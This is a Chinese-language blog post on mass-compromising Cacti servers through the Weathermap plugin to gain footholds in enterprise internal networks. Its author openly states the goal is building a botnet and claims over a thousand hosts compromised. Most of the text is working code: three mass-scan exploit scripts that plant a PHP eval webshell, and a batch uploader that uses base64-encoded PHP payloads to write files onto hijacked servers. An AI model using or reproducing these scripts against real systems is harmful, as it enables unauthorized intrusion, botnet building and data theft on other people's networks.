Sh4dow's Blog

活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。

高质量企业核心内网权限获取

        明天就发freebuf了,今天就到自己blog上面公布出来了。很简单的一个东西。

       企业核心区域除线上业务,只剩下运维与数据库相关系统,想建立僵尸网络,在完成平时的渗透工作时快速定位自己是否有目标相关内网权限,挂马获取员工PC起或者一些新装服务挂马,基效果并不会太好,一些服务如:walle,HUE,Django,zabbix,zookeeper,hadoop,Flume-ng、GraphicsMagick。这些系统如果能找到相关主机漏洞或者相对鸡肋的漏洞,都可以获取质量相对较高的内网权限。这次,我们使用的是cacti。一个很老的漏洞,之前是东西是2015年写的POC的,之前抓到了2000+,最近需要一些肉鸡,所以又试了一下,发现还是能找到1000多台全球主机,基本都在企业内网,包括国内外知名企业。

0x01 数据获取

       可以使用zoomeyes api 与fafo api ,我使用的是fofa。

       zoomeyes 与 fafo 采集结果数据两者是不同的。所以exp 我给出两种不同结构。

      zoomeyes数据结构:(域名)+端口

      fofa数据结构:http://+(域名)+端口

0x02脚本使用

使用命令    exp.py   -f ip.txt         (IP里面格式一行放一个IP) ,IP端口需要修改的话,请修改port_list。这种对应 zoomeyes的数据结构。

import argparse

import sys

import netaddr

import multiprocessing

import time

import Queue

import requests

import threading


port_list = ['80,443,8080,81,8081']


payload = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'

payload2 = '/plugins/weathermap/configs/conn.php'


payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'

payload4 = '/cacti/plugins/weathermap/configs/conn.php'


class main_class(object):

    

    def __init__(self,target_ip,thread_num):

        #print target_ip

        self.target_ip = target_ip

        self.thread_num = thread_num

        self.queue = Queue.Queue()

        self.start_time = time.time()

        

        self.load_queue()


    def load_queue(self):

        for i in port_list:

            self.queue.put(i)

            


    def worker(self):

         while self.queue.qsize() > 0:

            port = self.queue.get()

            

            try:

                req = requests.get("http://"+self.target_ip+":"+port,timeout=3)

                if "Cacti" in req.content:

                    try:

                        #print self.target_ip

                        requests.get("http://"+self.target_ip+":"+port+payload,timeout=3)

                        req = requests.get("http://"+self.target_ip+":"+port+payload2,timeout=3)

                        if "c4ca4238a0b923820dcc509a6f75849b" in req.content:

                            #print self.target_ip,port

                            print "http://"+self.target_ip+":"+port+payload2

                    except:

                        try:

                            requests.get("http://"+self.target_ip+":"+port+payload3,timeout=3)

                            req = requests.get("http://"+self.target_ip+":"+port+payload4,timeout=3)

                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:

                                #print self.target_ip,port

                                print "http://"+self.target_ip+":"+port+payload4

                        except:

                            pass

                else:

                    continue    

            except:

                pass

            

            self.queue.task_done() 

        


    def main(self):

        thread_list = []

        for i in range(self.thread_num):

            t = threading.Thread(target = self.worker)

            thread_list.append(t)

            t.setDaemon(True)

            t.start()

        for i in thread_list:

            i.join()



def func(ip,num):

    #for i in xrange(3):

    #print ip

    main = main_class(target_ip = ip,thread_num = num) 

    main.main()  

    time.sleep(0.1)



    

if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='portscan')

    parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)    

    parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)

    parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)

    parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)

    if len(sys.argv) == 1:

        sys.argv.append('-h')

    args = parser.parse_args()



    a = []

    if args.dest_ip:

        a.append(args.dest_ip)

    elif args.dest_ipaddr:

        for i in netaddr.IPNetwork(args.dest_ipaddr):

            a.append(i)

    elif args.dest_file:

        for i in open(args.dest_file).readlines():

            i = i.strip('\n')       

            a.append(i)

    else:

        print "-t -i or -a or -f"

        sys.exit(-1)



    for target_ip in a:        

        pool = multiprocessing.Pool(processes=2)

        pool.apply_async(func, (target_ip,args.thread_num))

        

    pool.close()

    pool.join()


使用命令    exp.py   -f ip.txt       (ip.txt格式:http://(IP或者域名):端口)

import argparse

import sys

import netaddr

import multiprocessing

import time

import Queue

import requests

import threading


port_list = ['80,443,8080,81,8081']


payload = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'

payload2 = '/plugins/weathermap/configs/conn.php'


payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'

payload4 = '/cacti/plugins/weathermap/configs/conn.php'


class main_class(object):

    

    def __init__(self,target_ip,thread_num):

        #print target_ip

        self.target_ip = target_ip

        self.thread_num = thread_num

        self.queue = Queue.Queue()

        self.start_time = time.time()

        

        self.load_queue()


    def load_queue(self):

        for i in port_list:

            self.queue.put(i)

            


    def worker(self):

         while self.queue.qsize() > 0:

            port = self.queue.get()

            

            try:

                req = requests.get("http://"+self.target_ip+":"+port,timeout=3)

                if "Cacti" in req.content:

                    try:

                        #print self.target_ip

                        requests.get("http://"+self.target_ip+":"+port+payload,timeout=3)

                        req = requests.get("http://"+self.target_ip+":"+port+payload2,timeout=3)

                        if "c4ca4238a0b923820dcc509a6f75849b" in req.content:

                            #print self.target_ip,port

                            print "http://"+self.target_ip+":"+port+payload2

                    except:

                        try:

                            requests.get("http://"+self.target_ip+":"+port+payload3,timeout=3)

                            req = requests.get("http://"+self.target_ip+":"+port+payload4,timeout=3)

                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:

                                #print self.target_ip,port

                                print "http://"+self.target_ip+":"+port+payload4

                        except:

                            pass

                else:

                    continue    

            except:

                pass

            

            self.queue.task_done() 

        


    def main(self):

        thread_list = []

        for i in range(self.thread_num):

            t = threading.Thread(target = self.worker)

            thread_list.append(t)

            t.setDaemon(True)

            t.start()

        for i in thread_list:

            i.join()



def func(ip,num):

    #for i in xrange(3):

    #print ip

    main = main_class(target_ip = ip,thread_num = num) 

    main.main()  

    time.sleep(0.1)



    

if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='portscan')

    parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)    

    parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)

    parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)

    parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)

    if len(sys.argv) == 1:

        sys.argv.append('-h')

    args = parser.parse_args()



    a = []

    if args.dest_ip:

        a.append(args.dest_ip)

    elif args.dest_ipaddr:

        for i in netaddr.IPNetwork(args.dest_ipaddr):

            a.append(i)

    elif args.dest_file:

        for i in open(args.dest_file).readlines():

            i = i.strip('\n')       

            a.append(i)

    else:

        print "-t -i or -a or -f"

        sys.exit(-1)



    for target_ip in a:        

        pool = multiprocessing.Pool(processes=2)

        pool.apply_async(func, (target_ip,args.thread_num))

        

    pool.close()

    pool.join()



对https处理有些问题,如果https使用下面:

import argparse

import sys

import netaddr

import multiprocessing

import time

import Queue

import requests

import threading

import os

import signal


port_list = ('80')


payload1 = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'

payload2 = '/plugins/weathermap/configs/conn.php'


payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'

payload4 = '/cacti/plugins/weathermap/configs/conn.php'

requests.packages.urllib3.disable_warnings()

class main_class(object):

    

    def __init__(self,target_ip,thread_num):

        #print os.getpid()

        self.target_ip = target_ip

        self.thread_num = thread_num

        self.queue = Queue.Queue()

        self.start_time = time.time()

        

        self.load_queue()


    def load_queue(self):

        for i in port_list:

            self.queue.put(i)

            


    def worker(self):

         while self.queue.qsize() > 0:

            port = self.queue.get()

            #print self.target_ip,port

            try:

                req = requests.get(self.target_ip,timeout=4, verify=False)

                if "Cacti" in req.content:

                    try:

                        r = requests.get(self.target_ip+payload3,timeout=4,verify=False)

                        if r.status_code == 404:

                            requests.get(self.target_ip+payload1,timeout=4,verify=False)

                            req = requests.get(self.target_ip+payload2,timeout=4,verify=False)

                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:

                                print self.target_ip+payload2

                                #os.kill(os.getpid(), signal.SIGKILL)

                        else:        

                            req = requests.get(self.target_ip+payload4,timeout=4,verify=False)

                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:

                                print self.target_ip+"payload4"

                                #os.kill(os.getpid(), signal.SIGKILL)

                    except:

                        #print "error1"

                        pass

            except:

                #print "error2"

                pass

            

            self.queue.task_done() 

        


    def main(self):

        thread_list = []

        for i in range(self.thread_num):

            t = threading.Thread(target = self.worker)

            thread_list.append(t)

            t.setDaemon(True)

            t.start()

        for i in thread_list:

            i.join()



def func(ip,num):

    #for i in xrange(3):

    #print ip

    main = main_class(target_ip = ip,thread_num = num) 

    main.main()  

    time.sleep(0.1)



    

if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='portscan')

    parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)    

    parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)

    parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)

    parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)

    if len(sys.argv) == 1:

        sys.argv.append('-h')

    args = parser.parse_args()



    a = []

    if args.dest_ip:

        a.append(args.dest_ip)

    elif args.dest_ipaddr:

        for i in netaddr.IPNetwork(args.dest_ipaddr):

            a.append(i)

    elif args.dest_file:

        for i in open(args.dest_file).readlines():

            i = i.strip('\n')       

            a.append(i)

    else:

        print "-t -i or -a or -f"

        sys.exit(-1)

    try:

        pool = multiprocessing.Pool(processes=5)


        for target_ip in a:        

            pool.apply_async(func, (target_ip,args.thread_num))

            #pool.apply(func, (target_ip,args.thread_num))

        

        pool.close()

        pool.join()

    except KeyboardInterrupt,e:

        sys.exit(-1)

 



0x03 批量上传文件

这里安全小飞侠写过一个脚本:http://www.freebuf.com/sectool/91082.html 但不支持HTTPS,需要在上面 

 

import ssl

ssl._create_default_https_context = ssl._create_unverified_context

 解决访问Https时不受信任SSL证书问题

使用命令: shell.py      webshell.txt     wenjian.txt      (webshell.txt文件格式  http://xx.com/muma.php,0),(wenjian.txt 上传文件的格式,如果上传PHP,一定要是PHP后缀)

代码:

 

#!/usr/bin/python  

#coding=utf-8  

  

import urllib  

import urllib2

import sys

import base64

import re

import ssl

ssl._create_default_https_context = ssl._create_unverified_context

def post(url, data):  

    req = urllib2.Request(url)  

    data = urllib.urlencode(data)   

    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())  

    response = opener.open(req, data)  

    return response.read()  

def get_shell_path(posturl,passwd):

    shell_path = ""

    try:

        data = {}

        data[passwd] = '@eval(base64_decode($_POST[z0]));'

        data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'

        shell_path = post(posturl, data).strip()

    except Exception:

        pass

    return shell_path

  

def main():

    print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'

    shellfile = sys.argv[1] # 存放webshell路径和密码的文件

    localfile = sys.argv[2] # 本地待上传的文件名

    shell_file = open(shellfile,'rb')

    local_content = str(open(localfile,'rb').read())

    for eachline in shell_file:

        posturl = eachline.split(',')[0].strip()

        passwd = eachline.split(',')[1].strip()

        try:

            reg = ".*/([^/]*\.php?)"

            match_shell_name = re.search(reg,eachline)

            if match_shell_name:

                shell_name=match_shell_name.group(1)

                shell_path = get_shell_path(posturl,passwd).strip()

                target_path = shell_path.split(shell_name)[0]+localfile

                target_path_base64 = base64.b64encode(target_path)

                target_file_url = eachline.split(shell_name)[0]+localfile

                data = {}

                data[passwd] = '@eval(base64_decode($_POST[z0]));'

                data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'

                data['z1']=target_path_base64

                data['z2']=base64.b64encode(local_content)

                response = post(posturl, data)

                if response:

                    print '[+] '+target_file_url+', upload succeed!'

                else:

                    print '[-] '+target_file_url+', upload failed!'

            else:

                print '[-] '+posturl+', unsupported webshell!'

        except Exception,e:

            print '[-] '+posturl+', connection failed!'

    shell_file.close()

  

if __name__ == '__main__':  

    main()



\\

最后上线主机 1146台。



评论 ( 1 )

© Sh4dow's Blog | Powered by LOFTER